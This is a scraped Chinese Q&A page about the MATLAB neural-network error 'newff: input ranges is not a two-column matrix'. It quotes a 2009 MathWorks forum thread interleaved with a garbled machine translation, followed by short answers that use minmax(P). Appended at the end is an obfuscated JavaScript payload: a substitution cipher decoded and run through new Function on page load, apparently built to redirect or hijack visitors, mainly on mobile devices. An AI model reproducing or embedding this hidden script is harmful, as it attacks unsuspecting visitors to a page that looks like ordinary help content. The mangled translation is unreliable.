MATLAB Error using ==> newff Input ranges is not a two column matrix.什么意

2025-02-26 04:52:37
推荐回答(3个)
回答1:

Add thread to My Watch List

What is a Watch List?

添加到我的观察名单线程

是什么观察名单?

Thread Subject: newff neural network error?!螺纹科目:newff神经网络错误?! Anyone know why?任何人知道为什么吗?
Subject: newff neural network error?! 科目:newff神经网络错误?! Anyone know why?任何人知道为什么吗?

From: joe krystofik 来自: 乔krystofik

Date: 22 Apr, 2009 20:08:02 日期:2009年4月22日20时08分02秒

Message: 1 of 3 消息:1 3
Reply to this message 回复此邮件
Add author to My Watch List 笔者添加到我的观察名单
View original format 检视原始格式
Flag as spam 标示为垃圾邮件
I'm doing exactly what the example for this function, newff, is saying to do, shown here...This is from the mathworks site.我正在做的正是这个函数的示例,newff,是说的事,这里显示...这是来自MathWorks的网站。

P = [0 1 2 3 4 5 6 7 8 9 10]; P值[0 1 2 3 4 5 6 7 8 9 10];
T = [0 1 2 3 4 3 2 1 2 3 4]; Ŧ = [0 1 2 3 4 3 2 1 2 3 4];
net = newff(P,T,5);净= newff(磷,吨,5);
Y = sim(net,P);为Y =卡(净值,磷);

When I simulate this in Matlab I receive the following error.当我在Matlab模拟这个,我会收到下面的错误。

?? ?? Error using ==> newff错误使用==> newff
Input ranges is not a two-column matrix输入范围是不是一个两列的矩阵

This hardly makes sense since they act like it works on the newff function page.这是有道理的,因为他们很难像它在newff功能页的作品。

Is there something I'm doing wrong?有什么我做错了什么? I'd like to use newff for a project but I can't get away from this error.我想用一个项目newff,但我无法从这个错误了。 Any help is appreciated.任何帮助表示赞赏。 I have a 255x128 input matrix along with a 1x128 target vector.我有一个随着1x128目标向量255x128输入矩阵。 Thanks谢谢

Subject: newff neural network error?! 科目:newff神经网络错误?! Anyone know why?任何人知道为什么吗?

From: Steven Lord 来自: 史蒂芬主

Date: 22 Apr, 2009 22:02:45 日期:2009年4月22日22时02分45秒

Message: 2 of 3 消息:2 3
Reply to this message 回复此邮件
Add author to My Watch List 笔者添加到我的观察名单
View original format 检视原始格式
Flag as spam 标示为垃圾邮件

"joe krystofik" wrote in message “乔krystofik”写道消息
news:gsntf2$jrc$1@fred.mathworks.com...新闻:gsntf2 $ $ 1@fred.mathworks.com联合研究中心...
> I'm doing exactly what the example for this function, newff, is saying to >我正在做的正是这个函数的示例,newff,是说要
> do, shown here...This is from the mathworks site. >做,这里显示...这是来自MathWorks的网站。
> >
> P = [0 1 2 3 4 5 6 7 8 9 10]; > P值[0 1 2 3 4 5 6 7 8 9 10];
> T = [0 1 2 3 4 3 2 1 2 3 4]; > Ŧ = [0 1 2 3 4 3 2 1 2 3 4];
> net = newff(P,T,5); >净额= newff(磷,吨,5);
> Y = sim(net,P); >为Y =卡(净值,磷);
> >
> >
> When I simulate this in Matlab I receive the following error. >当我在Matlab模拟这个,我会收到下面的错误。
> >
> ?? >?? Error using ==> newff错误使用==> newff
> Input ranges is not a two-column matrix >输入范围是不是一个两列的矩阵
> >
> This hardly makes sense since they act like it works on the newff function >这是有道理的,因为他们很难像它在newff函数工作
> page. >“页面。

I just tried it in MATLAB 7.8 (R2009a) and it worked as expected.我只是想在MATLAB 7.8(R2009a)它和它工作正常。 If you're如果你
using an earlier release, open up the documentation for the NEWFF function使用早期版本,开辟为NEWFF函数的文档
in that release and compare the documentation in that release with the在该版本中,比较在该文件的发布
documentation for the current release (R2009a) on the website.文档的当前版本的网站(R2009a)。

It looks like, from the release notes, the syntax for some of the network它看起来像,从发行说明,对网络的一些语法
creation functions (including NEWFF) changed in version 5.1 (R2007b):创建函数(包括NEWFF)改变在版本5.1(R2007b):

http://www.mathworks.com/access/helpdesk/help/toolbox/nnet/rn/rn5.html#81260 http://www.mathworks.com/access/helpdesk/help/toolbox/nnet/rn/rn5.html#81260

so if you're using an older version of the toolbox, the newer examples will因此,如果您使用的是旧版本的工具箱,将较新的例子
not work.无法工作。

-- -
Steve Lord史蒂夫主
slord@mathworks.com slord@mathworks.com

Subject: newff neural network error?! 科目:newff神经网络错误?! Anyone know why?任何人知道为什么吗?

From: Greg Heath 来自: 格雷格希思

Date: 23 Apr, 2009 20:33:15 日期:2009年4月23日20时33分15秒

Message: 3 of 3 消息:3 3
Reply to this message 回复此邮件
Add author to My Watch List 笔者添加到我的观察名单
View original format 检视原始格式
Flag as spam 标示为垃圾邮件
On Apr 22, 4:08=A0pm, "joe krystofik" wrote:写在4月22日,4:08 = A0pm,“乔krystofik”
> I'm doing exactly what the example for this function, newff, is saying to= >我正在做的正是这个函数的示例,newff,是说为=
do, shown here...This is from the mathworks site.这样做,这里显示...这是来自MathWorks的网站。
> >
> =A0 =A0 =A0 P =3D [0 1 2 3 4 5 6 7 8 9 10]; > =的A0 =的A0 = P值三维的A0 [0 1 2 3 4 5 6 7 8 9 10];
> =A0 =A0 =A0 T =3D [0 1 2 3 4 3 2 1 2 3 4]; > =的A0 =的A0 =三维的A0 Ŧ = [0 1 2 3 4 3 2 1 2 3 4];
> =A0 =A0 =A0 net =3D newff(P,T,5); > =的A0的A0 = = =三维newff的A0网(磷,吨,5);
> =A0 =A0 =A0 Y =3D sim(net,P); > =的A0 =的A0 =三维卡的A0为Y =(净,磷);
> >
> When I simulate this in Matlab I receive the following error. >当我在Matlab模拟这个,我会收到下面的错误。
> >
> ?? >?? Error using =3D=3D> newff错误使用= =三维立体> newff
> Input ranges is not a two-column matrix >输入范围是不是一个两列的矩阵
> >
> This hardly makes sense since they act like it works on the newff functio= >这是有道理的,因为他们很难像它在newff函数的工程=
n page. ñ页。
> >
> Is there something I'm doing wrong? >有什么我做错了什么? I'd like to use newff for a project b=我想用一个项目B newff =
ut I can't get away from this error. UT斯达康我无法从这个错误了。 Any help is appreciated.任何帮助表示赞赏。 I have a 255x= =我有一个255x
128 input matrix along with a 1x128 target vector. 128输入矩阵随着1x128目标载体。 Thanks谢谢

You are using an older version.您使用的是旧版本。 You need to您需要
use online documantation for that version,使用该版本网上documantation,

doc newff doc的newff
help newff帮助newff

not the new coumentation on the MATLAB website.不是对MATLAB的网站新coumentation。

if如果

[IN ] =3D size(P) [在] =三维大小(P)
[ON] =3D size(T) [有] =三维尺寸(T)的

The corresponding command for older vesrsions is对于年龄较大的vesrsions相应的命令是

net =3D newff(minmax(P),[HO]);净=三维newff(极大极小(P)的,[何]);

Hope this helps.希望这会有所帮助。

Greg格雷格

回答2:

可以用help或者doc来查一下newff这个函数的对具体输入变量的要求。这个错误大致的意思就是newff函数的输入不是一个两列的矩阵

回答3:

我也出现这个问题,后来改了一下就OK了。

把:
scale=[0 1;0 1;0 1;0 1;0 1;0 1;0 1;0 1;0 1]';
net=newff(scale,[31 3],{'tansig','logsig'},'trainlm');

改成:
net=newff(minmax(P),[31 3],{'tansig','logsig'},'trainlm'); %我也不清楚这里为什么用scale数据不行,一定要用minmax()函数给出最大最小值。

结果是:
TRAINLM, Epoch 0/1000, MSE 0.343231/0.01, Gradient 1.78095/1e-010
TRAINLM, Epoch 4/1000, MSE 0.000802778/0.01, Gradient 0.0927887/1e-010
TRAINLM, Performance goal met.

Y =
0.9996 0.0005 0.0000
0.0408 0.9863 0.0089
0.0199 0.0172 0.9914

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();